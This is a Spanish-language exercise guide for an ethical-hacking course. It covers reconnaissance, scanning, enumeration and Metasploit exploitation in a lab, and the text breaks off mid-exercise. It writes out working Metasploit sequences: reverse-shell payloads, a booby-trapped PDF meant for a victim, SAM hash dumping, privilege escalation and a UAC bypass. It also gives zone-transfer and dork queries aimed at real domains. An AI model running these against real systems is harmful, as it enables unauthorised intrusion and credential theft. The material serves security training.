Practicas Curso Hacking Etico CISCUCV

Ethical Hacking Curso de Seguridad Informática Alonso Eduardo Caballero Quezada Consultor en Hacking Ético, Informática

Views 104 Downloads 4 File size 209KB

Report DMCA / Copyright

DOWNLOAD FILE

Recommend stories

Citation preview

Ethical Hacking Curso de Seguridad Informática

Alonso Eduardo Caballero Quezada Consultor en Hacking Ético, Informática Forense & GNU/Linux

Sitio Web: http://www.ReYDeS.com e-mail: [email protected]

El Centro de Informática y Sistemas de la UCV Trujillo, a través de su Programa de Extensión le agradece por participar en nuestro Curso Técnico Seguridad Informática - Módulo 1: Ethical Hacking. A continuación se le detalla información importante sobre el Curso.

Descripción: Las vulnerabilidades de seguridad, tales como configuraciones incorrectas, sistemas sin parches, arquitecturas inadecuadas, continúan plagando las organizaciones. Las empresas necesitan personal que encuentre estas fallas de forma profesional, para erradicarlas de la infraestructura tecnológica. Algunas personas pueden tener habilidades en Pruebas de Penetración, Hacking Ético, o Evaluaciones de Seguridad, pero muy pocas pueden aplicar estas habilidades con un régimen metódico de evaluaciones profesionales para ayudar incrementar el nivel de seguridad en las organizaciones. Este curso enseña a los participantes la manera de realizar Pruebas de Penetración a redes de forma satisfactoria para mejorar la postura de seguridad de la empresa.

Objetivos: Los participantes aprenderán a realizar un reconocimiento detallado, aprenderán sobre infraestructura del objetivo, mediante investigación en blogs, buscadores, y redes sociales. Luego se enfocará la atención en la fase de escaneo, experimentando con algunas herramientas en ejercicios prácticos. La fase de explotación incluye la utilización de Frameworks de explotación, exploits manuales y otras tácticas valiosas, todo realizado con ejercicios prácticos en un entorno de laboratorio controlado. El curso también mostrará como preparar un reporte ejecutivo. Durante el desarrollo del curso se incluyen ejercicios prácticos para realizar una prueba de penetración contra una organización hipotética, siguiendo todos las fases detalladas.

Esperamos que disfrute y obtenga el máximo beneficio de este Curso, aumentando sus conocimientos y desarrollando nuevas habilidades en el maravilloso mundo del Haking Ético.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

2

Consideraciones Importantes 1. Todos los ejercicios y ejemplos del presente Curso deben ser realizados solo dentro del laboratorio o de un ambiente controlado. Debe tener en consideración que varios de los ataques presentados en el presente documento pueden ser considerados ilegales. Por lo tanto, no se deben ejecutar estos ejercicios contra sistemas o redes sin autorización. Es por ello que se le proporcionan máquinas virtuales contra los cuales realizar los ataques. Nosotros no somos responsables de las acciones realizadas por su persona fuera del laboratorio. Así es que por favor, utilice los conocimientos adquiridos durante el Curso con responsabilidad. 2. Revise las diapositivas proporcionadas para el Curso y las fuentes de referencia incluidas en ellas, así mismo las indicadas por el Instructor. De esta manera podrá obtener el mayor beneficio del Curso. 3. Las direcciones IP presentadas en el Curso son en su mayoría a modo de ejemplo. No necesariamente se tienen que ejecutar los ejercicios contra esas direcciones IP, a menos que así sea indicado por el Instructor. Se debe tratar de no copiar y pegar los comandos, es mejor escribir cada uno de los ejercicios y aplicarlos al escenario específico de cada ejercicio. Generalmente el laboratorio tendrá las direcciones IP Privadas de los siguientes rangos de red. 192.168.1/24, 192.168.0/24. Debe verificar esta información con los comandos pertinentes presentados más adelante. 4. Revise las herramientas proporcionadas en los DVDs del Curso, pues de esta manera enriquecerá su conocimiento sobre las herramientas existentes en el área. De igual manera revise los documentos de referencia proporcionados en los DVDs, para profundizar y aumentar sus conocimientos sobre este apasionante tema. 5. Debido a que cada persona tiene su propio ritmo de aprendizaje, nuestro curso se ayuda de las diapositivas del Curso, la guía de ejercicios, sitios web y documentos de referencia para mejorar la experiencia de aprendizaje. Se le sugiere que luego del Curso trate de profundizar en los temas que se han incluido en el. Adquiriendo de esta manera el buen hábito de la investigación. 6. Este Curso está orientado a ser lo más práctico posible, por lo tanto realice todos los ejercicios y ejemplos detallados, o los indicados por el Instructor durante el desarrollo del mismo. Si tuviera alguna consulta o pregunta, sírvase levantar la mano y formularla al Instructor, el cual con todo gusto la absolverá.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

3

Ejercicios Parte 1 Proceda a iniciar Kali Linux en VMWare Player. Para ingresar a Kali Linux el usuario es: root y la contraseña es: toor. Para ingresar al modo gráfico escriba lo siguiente desde la consola:

# startx En adelante el símbolo “#” indica el prompt de la consola y no debe ser escrito. Para iniciar una “Terminal”, hacer clic en el icono de la parte superior a un lado derecho de “System”.

1.1. Utilizando Motores de Búsqueda para descubrir objetivos Dentro de Kali Linux, proceda a ingresar a firefox y luego ingrese en dos ventanas diferentes a Google ( http://www.google.com ) y Bing. ( http//www.bing.com ). Escriba en los recuadros de búsqueda lo siguiente sin comillas “UCV”. Para limitar los resultados a un dominio en particular utilice el siguiente operador en Google y Bing: site:presidencia.gob.pe

1.2. Búsqueda de versiones antiguas de un sitio web Con Firefox ingrese a The Way Back Machine ( http://archive.org/web/web.php ). En el Recuadro de búsqueda escriba lo siguiente y luego haga clic en el botón “Take Me Back” http://www.peru.gob.pe Ahora se le mostrará en base a una cronología de años, meses y días, las capturas que este sitio tiene almacenada en su archivo de un sitio web determinado. Para visualizarla, sencillamente haga clic en el año, mes y día respectivo.

1.3. Búsqueda de Mapas Ahora que se tiene información del País, Departamento, Ciudad o Dirección, obtenida de diversas fuentes, es factible ubicar la localización física del objetivo, utilizando Google Maps ( https://maps.google.com/ ) o Bing Maps ( http://www.bing.com/maps/ ). proceda a ingresar la información que usted crea pertinente dentro del recuadro de búsqueda. Estas búsquedas son útiles para ubicar puntos de acceso inalámbricos y entradas de acceso físicas.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

4

1.4. Consultas Whois La herramienta whois viene por defecto en los sistemas GNU/Linux. Para realizar las consultas WHOIS se necesita tener acceso de salida al puerto TCP/43. Consulta Whois en modo consola al dominio peru.com

# whois com -h whois.iana.org # whois peru.com -h whois.verisign-grs.com # whois peru.com -h whois.networksolutions.com Consulta Whois en modo consola al dominio “Peruano” ucv.edu.pe

# whois ucv.edu.pe -h kero.yachay.pe Es factible realizar estas mismas consultas mediante algunas de las siguientes páginas web. http://www.iana.org/cgi-bin/whois http://www.whois.sc/ http://www.internic.net/whois.html http://www.all-nettools.com/toolbox/smart-whois.php

1.5. Consultas DNS con nslookup, dig, etc. Transferencia de zona: Dentro de una consola en Kali Linux proceda a ejecutar los siguientes comandos.

# nslookup > server dns3.unired.net.pe > set type=axfr > ucv.edu.pe Otra manera de hacer esta consulta es con el siguiente comando: # dig @dns3.unired.net.pe ucv.edu.pe -t AXFR Consulta Registro MX de Intercambio de Correo:

# host peru.com # host -t MX peru.com Consulta de los servidores DNS de un dominio:

# host -t NS peru.com

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

5

Consulta de todos los registros en el DNS

# dig -t ANY @dns1.stabletransit.com peru.com # host -t ANY peru.com dns2.stabletransit.com DNSEnum. Enumera información del DNS de un dominio y descubre bloques de direcciones IP que no están contiguos.

# dnsenum -f dns.txt microsoft.com --dnsserver ns4.msft.net

1.6. Herramientas para encontrar vulnerabilidades utilizando motores de Búsqueda Dentro de Kali Linux ingrese con Firefox a la página ( www.google.com ), y proceda a realizar las siguientes búsquedas manuales. Luego de cada una de ellas analice los resultados que muestran estas búsquedas. site: ucv.edu.pe intitle:index.of app inurl:intranet allintext:”hacking etico” site:gob.pe inurl:login site:mil.pe filetype:doc site:org.pe "parent directory" En Windows se pueden utilizar los siguientes programas. FoundStone SiteDigger: Proceda a instalar el programa SiteDigger, Ahora ejecute el programa y seleccione una lista pequeña del panel izquierdo, por ejemplo haga un “check” en “FSDB(175) -> Backup Files(12)”. En el recuadro donde dice “Site/Domain” ingrese el dominio del objetivo a evaluar, por ejemplo ( astalavista.box.sk ). Para iniciar el escaneo haga clic en “Scan”. Sitios Web con Bases de Datos GHDB. (Google Hacking DataBases) http://www.exploit-db.com/google-dorks/ http://www.hackersforcharity.org/ghdb/

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

6

Ejercicios Parte 2 2.1. Utilizando WireShark para el Escaneo En Kali Linux proceda a ejecutar WireShark Luego de lo cual se le presentará una ventana de advertencia sobre que Wireshark está ejecutándose como “root”. Solo proceda a hacer clic en el botón “OK”. En la parte izquierda del programa encontrara una Lista de Interfaces (Interface List), proceda solo a seleccionar la interfaz cuyo tráfico desea capturar. Para iniciar el proceso de captura haga clic en el icono ubicado en la parte superior izquierda con la descripción “Start a New Live Capture”. Las direcciones IP o rangos de red presentadas a continuación, solo para realizar el ejemplo. Se debe cambiar estos datos en base a su escenario de trabajo. Capturar tráfico originado desde una dirección IP ip.src == 192.168.1.77 Captura tráfico destinado para una dirección IP ip.dst == 192.168.1.1 Captura todo el tráfico de una dirección IP. ip.addr == 192.168.1.77 Filtrar por protocolo http ó ftp ó tcp ó icmp, etc. Aplicar una condición al filtrado http && ip.src == 192.168.1.77 Filtrar tráfico por puerto tcp.port == 80 Mostrar tráfico solo entre 192.168.1.X ip.src == 192.168.1.0/24 and ip.dst == 192.168.1.0/24 Captura tráfico al puerto 80 hacia un destino ip.dst == 192.168.1.77 && tcp.port == 80

2.2. Barridos de Red Ping Sweeps. Con las siguientes herramientas se pueden realizar barridos a la red utilizando un “Ping”. Ping utiliza por defecto ICMP. Aunque también se puede utilizar TCP o UDP

# ping www.peru.com Fping. Utilizar el parámetro -g permite generar una lista de objetivos, y con el parámetro -a se muestran los objetivos que están “vivos”. Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

7

# fping -g -a 192.168.1.0/24 El parámetro -sn de Nmap realiza escaneo con pings, pero no escanea puertos.

# nmap -sn 192.168.1.0/24 (Ping Scan) TCP Ping sweep. El parámetro -S defina activa la bandera SYN, y el parámetro -p permite definir el puerto destino.

# hping3 192.168.1.77 -S -p 80 UDP Ping sweep. El parámetro -2 indica que se está utilizando el modo UDP

# hping3 -2 192.168.1.77

2.3. Hping con WireShark En los siguientes ejercicios se crearán y manipularán paquetes con hping3 y se vigilará el tráfico generado con WireShark. Para los siguientes ejercicios utilice como objetivo la dirección IP de la máquina virtual con Metasploitable u otra máquina virtual. Proceda a iniciar Wireshark tal como se detalló en el ejercicio 2.1. Desde una consola o terminal en Kali Linux ejecute los siguientes comandos y analice los resultados en Wireshark Para terminar el funcionamiento de hping3 utilice la combinación de teclas “Control+C” . Prueba ICMP. Envía un ICMP request y recibe un ICMP reply.

# hping3 -1 192.168.1.77 Envía un paquete SYN a puerto definido, desde un puerto específico.

# hping3 -V -S -p 80 -s 5050 192.168.1.77 Otro tipo de ICMP. Enviando un address mask request (Tipo 17)

# hping3 -c 1 -V -1 -C 17 192.168.1.77 Otro tipo de Escaneo de Puertos. FIN Scan.

# hping3 -c 1 -V -p 80 -s 5050 -F 192.168.1.77 ACK Scan

# hping3 -c 1 -V -p 80 -s 5050 -A 192.168.1.77

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

8

Xmas Scan

# hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 192.168.1.77 NULL Scan

# hping3 -c 1 -V -p 80 -s 5050 -Y 192.168.0.77

2.4. Trazar la Red En Kali Linux se pueden utilizar los siguientes comando para realizar el trazado de la ruta de los paquetes hacia un host destino. Por defecto utiliza UDP para el rastreo.

# traceroute www.facebook.com Utiliza ICMP Echo para el trazado.

# traceroute -I www.facebook.com Equivalente a tcptraceroute. Utiliza TCP SYN para el trazado y por defecto hacia el puerto 80.

# traceroute -T www.facebook.com Trazado de la ruta de los paquetes al objetivo enviando paquetes TCP SYN

# tcptraceroute www.facebook.com

2.5. Más sobre el trazado de la red Existen otras herramientas que permiten realizar trazados de la red. Se recomienda utilizar para los siguientes ejercicios algunos objetivos en Internet. Modifique la dirección IP por la dirección o dominio del objetivo. TCPtraceroute es una implementación de traceroute que utiliza paquetes TCP. El parámetro -i define la interfaz de red a utilizar, -q en número de consultas, -w el tiempo de espera, -S define paquetes con la la bandera TCP SYN activa. Y finalmente se indica el puerto destino 80.

# tcptraceroute -i eth1 -q 1 -w 1 -S 200.37.69.4 80

2.6. Escaneo de Puertos Como en los anteriores ejercicios, se recomienda utilizar Wireshark mientras se ejecutan los siguientes escaneos. A continuación se tratará de determinar cuales son los servicios en ejecución o en atención, mediante diferentes tipos de escaneos utilizando nmap. Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

9

En parámetro -v permite mostrar más información sobre el escaneo y -n no realiza una resolución DNS. Se debe modificar la dirección IP mostrada en los ejemplos por la del objetivo a analizar. TCP Connect Scan

# nmap -sT -v -n 192.168.1.77 TCP SYN Scan

# nmap -sS -v -n 192.168.1.77 TCP FIN Scan

# nmap -sF -v -n 192.168.1.77 TCP Xmas Scan

# nmap -sX -v -n 192.168.1.77 TCP NULL Scan

# nmap -sN -v -n 192.168.1.77 TCP ACK Scan

# nmap -sA -v -n 192.168.1.77 TCP Window Scan

# nmap -sW -v -n 192.168.1.77 UDP Scan # nmap -sU -v -n 192.168.1.77

2.7. Escaneo de puertos a profundidad Los siguientes ejercicios deben ser ejecutados contra una máquina virtual ya sea Windows o Linux. Se recomiendo ejecutar de igual manera WireShark para vigilar y analizar el tráfico. Opción trazado de paquetes:

# nmap -PN --packet-trace 192.168.1.77 Nmap tiene algunas opciones de velocidad por defecto. Estas son las siguientes: -T0 / Paranoico: Extremadamente lento. -T1 / Sigiloso: Útil para evitar Sistemas de Detección de Intrusiones. -T2 / Cortés: Poco probable que interfiera con el sistema objetivo. Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

10

-T3 / Normal: Es la plantilla de medida de tiempo pro defecto. -T4 / Agresivo: Produce resultados más rápidos sobre redes locales. -T5 / Loco: Escaneo muy rápido y agresivo.

# nmap -T3 -v 192.168.1.77 Escaneos personalizados: Flag se puede definir con: SYN, ACK, PSH, URG, RST, FIN.

# nmap --scanflags SYNURG 192.168.1.77 Realizar un escaneo rápido: Escaneo de los 100 puertos más comúnmente utilizados.

# nmap -F 192.168.1.77 Escaneo de puertos específicos.

# nmap -p25,80,100-200 192.168.1.77 Escaneo de puertos por protocolo. Realiza un escaneo TCP y UDP al mismo tiempo puertos específicos.

# nmap -sU -sT -p U:53,T:25 192.168.1.77 Escaneo de todos los puertos.

# nmap -p “*” 192.168.1.77 Escaneo de principales puertos. En esta caso particular los 10 principales puertos.

# nmap --top-ports 10 192.168.1.77 Escaneo secuencial

# nmap -r 192.168.1.77 Nmap contiene características que permite evaluar o evadir firewalls. Paquetes fragmentados: Fragmenta las pruebas en paquetes de 8 bytes.

# nmap -f 192.168.1.77 Utilizar un Señuelo.

# nmap -D RND:10 192.168.1.77 Especificar manualmente el puerto de origen.

# nmap --source-port 53 192.168.1.77

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

11

2.8. Detectar el Sistema Operativo Detección del Sistema Operativo, mediante la Huella Activa de la Pila

# nmap -O 192.168.1.77 Escaneo de todos los puertos con reconocimiento del Sistema Operativo.

# nmap -p1-65535 -O 192.168.1.77 Especificación del puerto 80 para el escaneo. En caso no hubiera ningún puerto abierto en el sistema objetivo, nmap tratará de adivinar la mejor aproximación al S.O.

# nmap -p80 -O 192.168.1.77 xprobe2 es otra de las herramientas que puede ser utilizada para detectar el Sistema Operativo de manera activa.

# xprobe2 192.168.1.77 Se puede definir también a xprobe2 un puerto, protocolo y su estado, para realizar el escaneo.

# xprobe2 -p tcp:80:open 192.168.1.77

2.9. Escaneo de versiones con nmap & amap nmap contiene más de 3000 patrones que corresponden a unos 350 protocolos. Realizar un escaneo de versiones .

# nmap -sV 192.168.1.77 -p1-65535 Muestra más información durante el escaneo de versiones.

# nmap -sV --version-trace -p1-65535 192.168.1.77 Escaneo de Versiones a tres puertos específicos del objetivo.

# nmap -sV -v -p 25,80,100 192.168.1.77 amap es una herramienta de escaneo que permite identificar las aplicaciones ejecutándose en un puerto específico. Para obtener información del puerto 80.

# amap 192.168.1.77 80 Información de todos los puertos abiertos. Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

12

# amap -q 192.168.1.77 1-65535 Imprime los banners de la respuesta obtenida.

# amap -b -q -v 192.168.1.77 1-65535

2.10. Encontrando Vulnerabilidades con NSE NSE o Nmap Scripting Engine tiene las siguientes categorías: all: Ejecuta todos los scripts NSE disponibles auth: Scripts relacionados a la autenticación default: Ejecuta un conjunto básico de scripts por defecto discovery: Intenta descubrir información más profunda sobre el objetivo external: Scripts que contactan fuentes externas (como bases de datos whois) intrusive: Scripts los cuales pueden ser considerados intrusivos por el sistema objetivo malware: Scripts que verifican por backdoors o malware safe: Scrips basicos que no son intrusivos vuln: Verifica el objetivo por vulnerabilidades comúnmente explotadas. Otros: broadcast, brute, dos, expoit, fuzzer. Se puede obtener más información desde la página: http://nmap.org/nsedoc/ Las manera más sencilla de ejecutar la categoría “default” o por defecto, es la siguiente:

# nmap --script default 192.168.1.77 Rastrear el proceso de los scripts NSE.

# nmap --script default --script-trace 192.168.1.77 En los siguientes tres comando se ejecutan diferentes categorías contra el objetivo.

# nmap --script discovery 192.168.1.77 # nmap --script intrusive 192.168.1.77 # nmap --script vuln 192.168.1.77

2.11. Escaneo de Vulnerabilidades Nessus Para ingresar a la interfaz web de Nessus, proceda a abrir Firefox y escriba lo siguiente en la barra de direcciones: https://127.0.0.1:8834 .

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

13

En caso se muestre un mensaje relacionada a la que conexión no es confiable “This connection is Untrusted”, proceda a hacer clic en “I Understand the Risks” y añada la excepción “Add Exception”. En la siguiente ventana haga clic en el botón “Confirm Security Exception”. Luego de lo cual Nessus se estará iniciando. Se debe tener en consideración que este proceso final puede demorar varios minutos. Una vez iniciado Nessus siga las instrucciones del Instructor.

2.12. Enumeración Un mecanismo para la fase de enumeración es obtener y capturar información de los banners de cada servicio en el objetivo. La manera más sencilla de realizar esto es conectarse al puerto y tratar de obtener manualmente más información. Proceda a realizar algunos de los siguientes ejercicios contra la máquina virtual de Windows o Metasploitable. FTP, TCP 21 (File Transfer Protocol) Verificar ingresando el usuario “anonymous” o “user” y luego la contraseña “[email protected]” o “user” Esto permitiría autenticarse como usuario Anónimo o un usuario valido.

# ftp ftp> open 192.168.1.77 SSH, TCP 22 (Secure SHell) Ejecutar el siguiente comando y luego presionar la tecla enter.

# nc -v -n 192.168.1.77 22 TELNET, TCP 23 Ejecutar el siguiente comando y luego presionar la tecla enter.

# telnet 192.168.1.77 23 SMTP, TCP 25 (Simple Mail Transfer Protocol) Ejecutar el siguiente comando y luego presionar la tecla enter. # telnet 192.168.1.77 25 Una vez conectado proceda a intentar verificar la existencia del usuario “root” con el siguiente comando

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

14

vrfy root También se pueden revelar el alias de la dirección de entrega y lista de correos, con los siguientes comandos:

expn test expn papasfritas Si este ataque es satisfactorio puede proporcionar al atacante nombres de cuentas locales validas en el sistema. DNS, TCP/UDP 53 (Domain Name System) Para obtener la versión del servidor DNS ejecute el siguiente comando y presione al final la tecla enter.

# dig @servidordns.com version.bind txt chaos HTTP, TCP 80 (HiperText Tranfer Protocol) Para obtener las información que brinda el método HEAD proceda a ejecutar los siguientes comandos:

# nc -v 192.168.1.77 80 Inmediatamente escribir

HEAD / HTTP/1.0 Y presionar dos veces la tecla “enter”. Se el sitio web objetivo utiliza SSL se puede ejecutar el siguiente comando:

# openssl s_client -host www.viabcp.com -port 443 Microsoft RPC EndPoint Mapper (MSRPC), TCP 135 En Windows, proceda a descomprimir el archivo rpdump.zip. Luego en una consola (cmd) proceda a ejecutar el siguiente comando.

C:\>epdump 192.168.1.77 NetBIOS Name Service Enumeration, TCP 137 Enumerando Grupos de trabajo y dominios Windows con net view. Enumera Dominios en la Red.

C:\>net view /dominio Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

15

Lista computadoras en un Dominio Particular. C:\>net view /dominio:particular Enumera los Controladores de Dominio en Windows.

C:\>nltest /dclist:PC En Windows se puede volcando la Tabla de nombres NetBIOS con nbtstat y nbtscan.

C:\>nbtstat -A 192.168.1.77 En Windows también se puede utilizar el archivo nbtscan-1.0.35.exe. Proceda a abrir una consola ir a directorio indicado y ejecutar el siguiente comando.

C:\>nbtscan-1.0.35.exe -f 192.168.1.77 En GNU/Linux también se puede realizar la enumeración NetBIOS, con los siguientes comandos.

# nmblookup -A 192.168.0.23 -d # nbtscan -v -h 192.168.0.23 NetBIOS Session Enumeration, TCP 139/445 Windows NT y sus descendientes tienen un talón de alquiles. La Sesión Nula en Windows se considera el Santo Grial de la Enumeración.

C:\>net use \\192.168.1.77\IPC$ "" /u:"" Para borrar las sesiones remotas, proceda a ejecutar el siguiente comando.

C:\>net use * /delete Si se tiene un usuario y contraseña se puede ejecutar el siguiente comando.

C:\>net use \\192.168.0.23\IPC$ password /u:usuario Proceda a descomprimir el archivo sid.zip en el Sistema. Y luego proceda a ejecutar los siguiente comandos desde consola. Consulta el sid del usuario Administrador

C:\>user2sid \\192.168.1.77 Administrador S-1-5-21-2052111302-2052111302-842925246-500 Ahora se puede realizar la enumeración de otros usuarios modificando el valor 500 por 501, etc.

C:\>sid2user \\192.168.1.77 5 21 2052111302 2052111302 842925246 501

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

16

SNMP, UDP 161 Para mostrar el nombre del sistema se puede ejecutar el siguiente comando desde consola.

# snmpget -c public -v 2c 192.168.1.77 system.sysName.0 Para muestrar el contenido completo de la MIB (Management Information Base) se debe ejecutar el siguiente comando.

# snmpwalk -c public -v 2c 192.168.1.77 Escaners SNMP En Windows se puede realizar la enumeración modo visual con SNScan de la siguiente manera. Proceda a descomprimir el archivo snscan.zip haciendo doble clic en el archivo y extrayendo su contenido en el sistema. Luego proceda a escribir la dirección IP del objetivo y presione el boton con la flecha azul. También se puede utilizar el siguiente programa si ya se tiene conocimiento del nombre “community” y que el sistema es un Windows.

# snmpenum 192.168.1.77 public windows.txt

2.13. Netcat Netcat viene por defecto en Kali Linux y para usarlo solo debe escribir nc. En windows proceda a descomprimir el archivo netcat.zip. En el directorio raiz de su sistema. Recuerde que debe de ejecutar el archivo nc.exe desde el directorio donde ha sido descomprimido. Modo Cliente / Servidor. Para utilizar netcat en modo Cliente y Servidor, proceda a ejecutar en consola dentro de Kali Linux el siguiente comando; el cual ejecutará netcat en modo “escucha” o de atención. (Servidor).

# nc -n -v -l -p 5555 Ahora en una máquina virtual Windows o el sistema real, proceda a abrir en una consola el programa “cmd.exe”, y luego proceda a ejecutar el siguiente comando. Se debe recordar que la dirección IP debe ser modificada por la dirección IP de Kali Linux.

C:\> nc.exe -v -n 192.168.01.77 5555 Proceda a escribir algo en la consola de la máquina virtual windows o real, y analice los resultados obtenidos. Si algo no funciona correctamente, verifique que no haya algún tipo de filtrado o inconveniente de conexión entre las máquinas y que los comandos han sido ejecutados correctamente. Transferencia de archivos. En una consola dentro de Kali Linux ejecute el siguiente comando.

# nc -v -w 30 -l -p 8888 > archivo.txt Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

17

Ahora en la máquina virtual windows o sistema real, ejecute en una consola (cmd) el siguiente comando. Se debe modificar la dirección IP por la de Kali Linux y cambiar el nombre de archivo.txt por el nombre del archivo que se desea transferir.

C:\> nc.exe -v -w 2 192.168.1.77 8888 < archivo.txt Escaneo de puertos con netcat. Con el siguiente comando se puede realizar un sencillo escaneo de puertos con netcat. La opción -v mostrará más información sobre el proceso, -n no realizará una resolución a los DNS de la dirección IP, -z implica que no hay entrada ni salida de datos y -w1 indicará a netcat no esperar más de 1 segundo para que se realice la conexión.

# nc -v -n -z -w1 192.168.1.77 20-100

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

18

Ejercicios Parte 3 3.1. Utilizando Metasploit Framework Para ejecutar Metasploit Framework, proceda ejecutar en una terminal o consola el siguiente comando: # msfconsole Después de esperar unos momentos, se presentará un banner con información sobre Metasploit Framework. El prompt de Metasploit será msf > A continuación se detallarán ejercicios de explotación utilizando Metasploit Framework. Se debe tener especial cuidado en ejecutar los comandos contra las direcciones IP y puertos indicados de las máquinas virtuales del laboratorio. 49243: Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution Más Información: http://osvdb.org/49243

msf > search ms08_067 msf > use exploit/windows/smb/ms08_067_netapi msf > show options msf > set RHOST [Dirección IP de WindowsXP] msf > set PAYLOAD windows/shell/reverse_tcp msf > show options msf > set LHOST [Dirección IP de Kali Linux] msf > set LPORT 7777 msf > exploit Si el ejercicio se ha realizado correctamente, se obtendrá un shell reverso en el Sistema Windows objetivo. 49520: Adobe Reader / Acrobat util.printf() Function Crafted PDF File Handling Overflow Más Información: http://osvdb.org/49520

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

19

msf > search adobe_utilprintf msf > use exploit/windows/fileformat/adobe_utilprintf msf > set FILENAME carta.pdf msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > set LHOST [Dirección IP de Kali Linux] msf > set LPORT 8888 msf > show options msf > exploit Si todo se ha realizado correctamente se creará el archivo de nombre carta.pdf En un escenario real, el archivo “carta.pdf” se debe enviar por cualquier medio a la victima con la intención de que esta lo visualice. Para propósitos del ejercicio se procederá a transferir el archivo creado a la máquina virtual Windows XP, utilizando netcat. Ejecute el siguiente comando en una consola (cmd) dentro de la máquina virtual de Windows XP. Este comando recibirá la conexión y creará el archivo “carta.pdf”

C:\> nc -v -w 30 -l -p 8888 > carta.pdf En Kali Linux proceda a iniciar una nueva consola y a escribir los siguientes comandos. El segundo comando enviará el archivo “carta.pdf” hacia el Sistema Windows XP.

# nc -v -w 2 [Dirección IP de WindowsXP] < carta.pdf Ahora en Kali Linux se debe ejecutar un “manejador”, el cual recibirá la conexión que realizará la máquina objetivo.

msf > use exploit/multi/handler msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > set LPORT 8888 msf > set LHOST [Dirección IP de Kali Linux] msf > exploit 61697: Microsoft IE mshtml.dll Use-After-Free Arbitrary Code Execution (Aurora) Más Información: http://osvdb.org/61697

msf > search aurora Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

20

msf > use exploit/windows/browser/ms10_002_aurora msf > show options msf > set SRVHOST [Dirección IP de Kali Linux] msf > set SRVPORT 80 msf > set URIPATH / msf > exploit Ahora desde la máquina virtual de Windows XP proceda a ingresar a la dirección IP de Kali Linux, luego de lo cual se debe esperar un tiempo prudencial para que se ejecute el exploit. Si el ejercicio se ha realizado correctamente, en Kali Linux se mostrará el siguiente mensaje “Meterpreter session X opened”. Esto significa que el exploit ha sido satisfactorio y ahora se debe presionar la tecla “enter” y escribir el siguiente comando:

msf > sessions -i ID Donde ID es el número de sesión mostrado por Metasploit Framework. Luego presionar la tecla “enter” y si el ejercicio ha sido realizado correctamente, se obtendrá el siguiente prompt, el cual corresponde a Meterpreter.

meterpreter >

3.2. Uso de Meterpreter luego de la Explotación Una vez realizado de manera correcta el ejercicio anterior, se procederá a interactuar con el objetivo comprometido utilizando Meterpreter.

meterpreter > getuid meterpreter > use priv meterpreter > getsystem -h Con el siguiente comando se puede obtener privilegios de SYSTEM.

meterpreter > getsystem meterpreter > getuid Con Meterpreter resulta bastante sencillo hacer un volcado del contenido de la base de datos SAM.

meterpreter > hashdump Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

21

Proceda a seleccionar el volcado obtenida de las contraseñas y luego proceda a pegarlo en un editor. Ahora proceda a guardar el archivo con la opción “Save” y con el nombre “hashs.txt”, y luego haga clic en el botón “Save”. 66387: Microsoft Windows Shell LNK File Parsing Arbitrary Command Execution Más Información: http://osvdb.org/66387

msf > search LNK msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader msf > show options msf > set SRVHOST [Dirección IP de Kali Linux] msf > set SRVPORT 80 msf > set URIPATH / msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > set LHOST [Dirección IP de Kali Linux] msf > set LPORT 4444 Ahora en la máquina virtual de Windows7 proceda a ejecutar el navegador de Internet Explorer e ingrese la dirección dirección IP de Kali Linux en la barra de direcciones. En caso se presente un mensaje de advertencia, proceda a hacer clic en “Permitir”. Si el ejercicio se ha realizado correctamente se presentará un mensaje de Meterpreter detallando el número de sesión abierta. Presione la tecla “enter” y escriba los siguientes comandos.

msf > sessions -i msf > sessions -i ID Donde ID es el número de sesión. Windows Escalate UAC Protection Bypass. Este módulo permite evadir UAC (User Account Control) de Windows. Más Información: http://metasploit.org/modules/post/windows/escalate/bypassuac Con los siguiente comandos se ejecutará un manejador para la conexión entrante que se realizará más adelante en el ejercicio.

msf > use multi/handler msf > set PAYLOAD windows/meterpreter/reverse_tcp Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

22

msf > set LHOST [Dirección IP de Kali Linux] msf > set LPORT 8888 msf > exploit El escenario aquí es generar un archivo con una “carga” que la victima ejecutará en su sistema. Luego de lo cual se tendrá que enviar este archivo a la victima y hacer que esta lo ejecute. En este ejercicio a modo de ejemplo se creará un sencillo “Payload” TCP reverso en un archivo ejecutable y se transferirá este archivo a la victima utilizando netcat. En una consola dentro de Kali Linux proceda a ejecutar el siguiente comando para generar el PAYLOAD.

